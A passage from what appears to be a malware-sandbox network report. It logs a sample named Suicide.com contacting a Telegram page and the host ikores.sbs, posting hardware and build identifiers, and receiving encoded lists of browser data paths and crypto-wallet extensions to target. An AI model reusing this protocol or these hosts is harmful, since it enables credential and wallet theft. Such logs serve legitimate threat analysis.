Dec 6, 2024 09:42:42.970644951 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.970665932 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.970681906 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.970694065 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.970707893 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.970724106 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:42.970740080 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.970746994 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.970767975 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.970776081 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.970787048 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.970833063 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.970849991 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.970856905 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.970865965 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:42.970880985 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:43.001672983 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:43.001785040 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:43.001806974 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:43.001888037 CET	49915	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:43.001902103 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:43.002053976 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:43.002470016 CET	443	49915	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:43.488370895 CET	443	49921	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:43.488420963 CET	49921	443	192.168.2.4	5.75.212.196

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 09:40:42.165987968 CET	62564	53	192.168.2.4	1.1.1.1
Dec 6, 2024 09:40:42.407829046 CET	53	62564	1.1.1.1	192.168.2.4
Dec 6, 2024 09:41:58.412456036 CET	62576	53	192.168.2.4	1.1.1.1
Dec 6, 2024 09:41:58.550209999 CET	53	62576	1.1.1.1	192.168.2.4
Dec 6, 2024 09:42:00.516733885 CET	53423	53	192.168.2.4	1.1.1.1
Dec 6, 2024 09:42:00.833420038 CET	53	53423	1.1.1.1	192.168.2.4
Dec 6, 2024 09:42:16.755146980 CET	53	52798	1.1.1.1	192.168.2.4
Dec 6, 2024 09:42:16.795762062 CET	53	54069	1.1.1.1	192.168.2.4
Dec 6, 2024 09:42:16.981347084 CET	58278	53	192.168.2.4	1.1.1.1
Dec 6, 2024 09:42:16.981647968 CET	49430	53	192.168.2.4	1.1.1.1
Dec 6, 2024 09:42:17.118897915 CET	53	58278	1.1.1.1	192.168.2.4
Dec 6, 2024 09:42:17.118931055 CET	53	49430	1.1.1.1	192.168.2.4
Dec 6, 2024 09:42:19.552911043 CET	53	51526	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 6, 2024 09:42:16.894081116 CET	192.168.2.4	1.1.1.1	c233	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2024 09:40:42.165987968 CET	192.168.2.4	1.1.1.1	0xee8d	Standard query (0)	LsPLJakEeBsUGsRzAQLUPOMOxfXyb.LsPLJakEeBsUGsRzAQLUPOMOxfXyb	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:41:58.412456036 CET	192.168.2.4	1.1.1.1	0x83	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:42:00.516733885 CET	192.168.2.4	1.1.1.1	0x39c6	Standard query (0)	ikores.sbs	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:42:16.981347084 CET	192.168.2.4	1.1.1.1	0x52	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:42:16.981647968 CET	192.168.2.4	1.1.1.1	0x7c58	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 6, 2024 09:40:42.407829046 CET	1.1.1.1	192.168.2.4	0xee8d	Name error (3)	LsPLJakEeBsUGsRzAQLUPOMOxfXyb.LsPLJakEeBsUGsRzAQLUPOMOxfXyb	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:41:58.550209999 CET	1.1.1.1	192.168.2.4	0x83	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:42:00.833420038 CET	1.1.1.1	192.168.2.4	0x39c6	No error (0)	ikores.sbs		5.75.212.196	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:42:17.118897915 CET	1.1.1.1	192.168.2.4	0x52	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 6, 2024 09:42:17.118931055 CET	1.1.1.1	192.168.2.4	0x7c58	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

ikores.sbs

www.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49784	149.154.167.99	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:00 UTC	85	OUT	GET /m3wm0w HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 08:42:00 UTC	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 06 Dec 2024 08:42:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12295 Connection: close Set-Cookie: stel_ssid=a387849f6c40fb8951_13632452722716539965; expires=Sat, 07 Dec 2024 08:42:00 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-12-06 08:42:00 UTC	12295	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6d 33 77 6d 30 77 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @m3wm0w</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49790	5.75.212.196	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:02 UTC	225	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: ikores.sbs Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 08:42:03 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Dec 2024 08:42:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-06 08:42:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49796	5.75.212.196	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:04 UTC	317	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----7Q9R9ZCTRI5F37GVSJ5X User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: ikores.sbs Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 08:42:04 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 51 39 52 39 5a 43 54 52 49 35 46 33 37 47 56 53 4a 35 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 43 45 38 44 45 33 33 38 46 45 30 31 36 37 31 32 32 37 33 30 34 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 37 51 39 52 39 5a 43 54 52 49 35 46 33 37 47 56 53 4a 35 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 37 65 39 30 34 38 64 35 33 62 66 36 66 34 63 34 35 37 32 39 32 34 35 65 34 66 37 35 62 30 64 0d 0a 2d 2d 2d 2d 2d 2d 37 51 39 52 39 5a 43 54 52 49 35 46 33 37 47 56 53 4a 35 58 2d 2d 0d Data Ascii: ------7Q9R9ZCTRI5F37GVSJ5XContent-Disposition: form-data; name="hwid"5CE8DE338FE01671227304-a33c7340-61ca------7Q9R9ZCTRI5F37GVSJ5XContent-Disposition: form-data; name="build_id"57e9048d53bf6f4c45729245e4f75b0d------7Q9R9ZCTRI5F37GVSJ5X--
2024-12-06 08:42:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Dec 2024 08:42:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-06 08:42:05 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 65 66 37 30 65 64 36 30 39 34 36 34 32 35 35 62 66 66 33 30 66 66 65 31 63 37 64 64 65 31 32 35 7c 31 7c 30 7c 31 7c 31 7c 30 7c 35 30 30 30 30 7c 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|ef70ed609464255bff30ffe1c7dde125\|1\|0\|1\|1\|0\|50000\|00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49802	5.75.212.196	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:07 UTC	317	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DB1V3WTJW4E37Q1VKX4W User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: ikores.sbs Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 08:42:07 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 31 56 33 57 54 4a 57 34 45 33 37 51 31 56 4b 58 34 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 66 37 30 65 64 36 30 39 34 36 34 32 35 35 62 66 66 33 30 66 66 65 31 63 37 64 64 65 31 32 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 31 56 33 57 54 4a 57 34 45 33 37 51 31 56 4b 58 34 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 37 65 39 30 34 38 64 35 33 62 66 36 66 34 63 34 35 37 32 39 32 34 35 65 34 66 37 35 62 30 64 0d 0a 2d 2d 2d 2d 2d 2d 44 42 31 56 33 57 54 4a 57 34 45 33 37 51 31 56 4b 58 34 57 0d 0a 43 6f 6e 74 Data Ascii: ------DB1V3WTJW4E37Q1VKX4WContent-Disposition: form-data; name="token"ef70ed609464255bff30ffe1c7dde125------DB1V3WTJW4E37Q1VKX4WContent-Disposition: form-data; name="build_id"57e9048d53bf6f4c45729245e4f75b0d------DB1V3WTJW4E37Q1VKX4WCont
2024-12-06 08:42:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Dec 2024 08:42:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-06 08:42:08 UTC	2192	IN	Data Raw: 38 38 34 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4d 36 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 6c 54 45 39 44 51 55 78 42 55 46 42 45 51 56 52 42 4a 56 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 Data Ascii: 884R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEM6XFByb2dyYW0gRmlsZXNcR29vZ2xlXENocm9tZVxBcHBsaWNhdGlvblx8Y2hyb21lLmV4ZXxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXwlTE9DQUxBUFBEQVRBJVxHb29nbGVcQ2hyb21lIF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49808	5.75.212.196	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:09 UTC	317	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----UKNYC2VKNGV37Q9R9R9H User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: ikores.sbs Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 08:42:09 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 55 4b 4e 59 43 32 56 4b 4e 47 56 33 37 51 39 52 39 52 39 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 66 37 30 65 64 36 30 39 34 36 34 32 35 35 62 66 66 33 30 66 66 65 31 63 37 64 64 65 31 32 35 0d 0a 2d 2d 2d 2d 2d 2d 55 4b 4e 59 43 32 56 4b 4e 47 56 33 37 51 39 52 39 52 39 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 37 65 39 30 34 38 64 35 33 62 66 36 66 34 63 34 35 37 32 39 32 34 35 65 34 66 37 35 62 30 64 0d 0a 2d 2d 2d 2d 2d 2d 55 4b 4e 59 43 32 56 4b 4e 47 56 33 37 51 39 52 39 52 39 48 0d 0a 43 6f 6e 74 Data Ascii: ------UKNYC2VKNGV37Q9R9R9HContent-Disposition: form-data; name="token"ef70ed609464255bff30ffe1c7dde125------UKNYC2VKNGV37Q9R9R9HContent-Disposition: form-data; name="build_id"57e9048d53bf6f4c45729245e4f75b0d------UKNYC2VKNGV37Q9R9R9HCont
2024-12-06 08:42:10 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Dec 2024 08:42:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-06 08:42:10 UTC	5837	IN	Data Raw: 31 36 63 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 16c0TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49814	5.75.212.196	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:11 UTC	317	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----4OPHDT2D26F37YM7GV3E User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: ikores.sbs Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 08:42:11 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 4f 50 48 44 54 32 44 32 36 46 33 37 59 4d 37 47 56 33 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 66 37 30 65 64 36 30 39 34 36 34 32 35 35 62 66 66 33 30 66 66 65 31 63 37 64 64 65 31 32 35 0d 0a 2d 2d 2d 2d 2d 2d 34 4f 50 48 44 54 32 44 32 36 46 33 37 59 4d 37 47 56 33 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 37 65 39 30 34 38 64 35 33 62 66 36 66 34 63 34 35 37 32 39 32 34 35 65 34 66 37 35 62 30 64 0d 0a 2d 2d 2d 2d 2d 2d 34 4f 50 48 44 54 32 44 32 36 46 33 37 59 4d 37 47 56 33 45 0d 0a 43 6f 6e 74 Data Ascii: ------4OPHDT2D26F37YM7GV3EContent-Disposition: form-data; name="token"ef70ed609464255bff30ffe1c7dde125------4OPHDT2D26F37YM7GV3EContent-Disposition: form-data; name="build_id"57e9048d53bf6f4c45729245e4f75b0d------4OPHDT2D26F37YM7GV3ECont
2024-12-06 08:42:12 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Dec 2024 08:42:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-06 08:42:12 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49820	5.75.212.196	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:13 UTC	318	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----6XBS2DTRQIEUAIMGDJMG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: ikores.sbs Content-Length: 5781 Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 08:42:13 UTC	5781	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 58 42 53 32 44 54 52 51 49 45 55 41 49 4d 47 44 4a 4d 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 66 37 30 65 64 36 30 39 34 36 34 32 35 35 62 66 66 33 30 66 66 65 31 63 37 64 64 65 31 32 35 0d 0a 2d 2d 2d 2d 2d 2d 36 58 42 53 32 44 54 52 51 49 45 55 41 49 4d 47 44 4a 4d 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 37 65 39 30 34 38 64 35 33 62 66 36 66 34 63 34 35 37 32 39 32 34 35 65 34 66 37 35 62 30 64 0d 0a 2d 2d 2d 2d 2d 2d 36 58 42 53 32 44 54 52 51 49 45 55 41 49 4d 47 44 4a 4d 47 0d 0a 43 6f 6e 74 Data Ascii: ------6XBS2DTRQIEUAIMGDJMGContent-Disposition: form-data; name="token"ef70ed609464255bff30ffe1c7dde125------6XBS2DTRQIEUAIMGDJMGContent-Disposition: form-data; name="build_id"57e9048d53bf6f4c45729245e4f75b0d------6XBS2DTRQIEUAIMGDJMGCont
2024-12-06 08:42:14 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Dec 2024 08:42:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-06 08:42:14 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49826	5.75.212.196	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:15 UTC	317	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----8GDTJM7GVAAAIE3WBAAS User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: ikores.sbs Content-Length: 489 Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 08:42:15 UTC	489	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 47 44 54 4a 4d 37 47 56 41 41 41 49 45 33 57 42 41 41 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 66 37 30 65 64 36 30 39 34 36 34 32 35 35 62 66 66 33 30 66 66 65 31 63 37 64 64 65 31 32 35 0d 0a 2d 2d 2d 2d 2d 2d 38 47 44 54 4a 4d 37 47 56 41 41 41 49 45 33 57 42 41 41 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 37 65 39 30 34 38 64 35 33 62 66 36 66 34 63 34 35 37 32 39 32 34 35 65 34 66 37 35 62 30 64 0d 0a 2d 2d 2d 2d 2d 2d 38 47 44 54 4a 4d 37 47 56 41 41 41 49 45 33 57 42 41 41 53 0d 0a 43 6f 6e 74 Data Ascii: ------8GDTJM7GVAAAIE3WBAASContent-Disposition: form-data; name="token"ef70ed609464255bff30ffe1c7dde125------8GDTJM7GVAAAIE3WBAASContent-Disposition: form-data; name="build_id"57e9048d53bf6f4c45729245e4f75b0d------8GDTJM7GVAAAIE3WBAASCont
2024-12-06 08:42:16 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Dec 2024 08:42:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-06 08:42:16 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49837	172.217.21.36	443	7600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:18 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
